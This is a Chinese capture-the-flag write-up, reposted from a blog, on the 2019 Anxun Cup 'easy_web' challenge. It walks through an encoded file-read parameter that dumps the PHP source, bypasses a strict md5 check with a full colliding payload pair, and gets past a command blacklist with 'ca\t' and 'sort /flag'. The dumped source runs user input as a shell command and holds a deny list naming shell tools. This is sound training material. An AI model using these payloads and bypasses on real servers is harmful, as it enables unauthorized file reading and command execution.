[安洵杯 2019]easy_web
打开题目如图:
注意到url中img参数很像base64加密,于是尝试进行解密,得到MzUzNTM1MmU3MDZlNjc=,因为等号结尾所以再次进行base64解密,得到3535352e706e67 ,进行hex解码,得到 555.png 。
于是我们猜测这里存在一个文件包含,并且要经过两次base64加密和一次hex编码。但是img参数可控,于是我们可以将index.php进行同样的步骤得到TmprMlJUWTBOalUzT0RKRk56QTJPRGN3 并且传入img参数中,尝试读取源码。
成功在img中返回index.php的base64编码,解码后得到:
1 view-source:data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=<?php 2 error_reporting(E_ALL || ~ E_NOTICE); 3 header('content-type:text/html;charset=utf-8'); 4 $cmd = $_GET['cmd']; 5 if (!isset($_GET['img']) || !isset($_GET['cmd'])) 6 header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); 7 $file = hex2bin(base64_decode(base64_decode($_GET['img']))); 8 9 $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); 10 if (preg_match("/flag/i", $file)) { 11 echo '<img src ="./ctf3.jpeg">'; 12 die("xixi~ no flag"); 13 } else { 14 $txt = base64_encode(file_get_contents($file)); 15 echo "<img src='data:image/gif;base64," . $txt . "'></img>"; 16 echo "<br>"; 17 } 18 echo $cmd; 19 echo "<br>"; 20 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { 21 echo("forbid ~"); 22 echo "<br>"; 23 } else { 24 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { 25 echo `$cmd`; 26 } else { 27 echo ("md5 is funny ~"); 28 } 29 } 30 31 ?> 32 <html> 33 <style> 34 body{ 35 background:url(./bj.png) no-repeat center center; 36 background-size:cover; 37 background-attachment:fixed; 38 background-color:#CCCCCC; 39 } 40 </style> 41 <body> 42 </body> 43 </html>
可以看到如果我们在刚刚的文件读取过程中尝试去读取flag相关文件的话会被直接ban掉。获取到源码之后img这个参数就已经没有用了,后面的cmd参数就是第二个考点。由代码第25行得知cmd参数是要作为命令在服务器上进行执行,在第20行看到一个恐怖的正则匹配,基本上禁用了我们读取文件的所有命令,同时下面第24行又缝合了一个md5的强类型比较考点。
首先我们对md5强类型比较进行绕过:使用网上得到的md5碰撞结果相同的两个参数:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这样就能够绕过md5强类型比较;
在正则匹配中ban了ls,但是我们可以使用dir进行目录遍历,得到的结果如下:
在当前目录下并不存在flag相关的文件,基本可以确定flag文件在/根目录下面了。
最终有两种解法能够读取到flag:
1.在正则匹配中不能使用/\\/或者/\\\\/匹配\,具体原因参考
https://blog.csdn.net/weixin_41463193/article/details/83539168
https://www.thinbug.com/q/28062568
使用ca\t绕过对cat的正则匹配,成功读取flag:(因为正则匹配中还ban了空格,所以用%20进行绕过,传参要在burp中进行,在hackbar中传参时会自动进行一次url解码)
2.sort函数并没有被正则匹配,sort函数的作用是将文件的每一行作为一个单位进行比较,从首字符向后依次按照ASCII🐎进行比较,最后升序输出。因为flag文件中只有一行信息,在此题目中可以用sort命令直接读取/flag
原文地址:https://www.cnblogs.com/M1saka/p/13807641.html,转载请标注清楚。